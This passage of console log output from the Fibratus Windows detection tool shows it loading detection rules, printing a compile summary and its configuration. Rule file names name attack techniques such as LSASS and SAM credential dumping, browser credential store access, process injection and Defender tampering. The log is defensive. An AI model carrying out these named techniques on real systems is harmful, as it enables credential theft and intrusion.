C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T17:35:49+01:00 level=info msg=bootstrapping with pid 16600. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T17:35:49+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false to=>[] content-type=>text/html use-template=>true port=>25] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ buffer-size=>512 enable-audit-api=>true enable-handle=>false enable-image=>true enable-net=>true enable-mem=>false enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true flush-interval=>1s enable-dns=>false max-buffers=>36 enable-vamap=>true enable-threadpool=>false stack-enrichment=>true min-buffers=>16 enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-backups=>15 max-age=>0 log-stdout=>true level=>info formatter=>text] + output ......................... [ http=>[ endpoints=>[] method=>POST serializer=>json enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false timeout=>5s] elasticsearch=>[ healthcheck=>true bulk-workers=>1 trace-log=>false healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] gzip-compression=>false enabled=>false sniff=>false template-name=>fibratus timeout=>5s healthcheck-timeout=>5s index-name=>fibratus flush-period=>1s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] eventlog=>[ level=>info enabled=>false] amqp=>[ routing-key=>fibratus durable=>false vhost=>/ timeout=>5s delivery-mode=>transient exchange=>fibratus url=>amqp://localhost:5672 tls-insecure-skip-verify=>false enabled=>false passive=>false exchange-type=>topic]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false skip-files=>false enabled=>false excluded-procs=>[] excluded-files=>[] skip-registry=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-11T17:35:49+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:35:51+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:36:22+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T17:36:22+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:36:22+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:36:25+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml 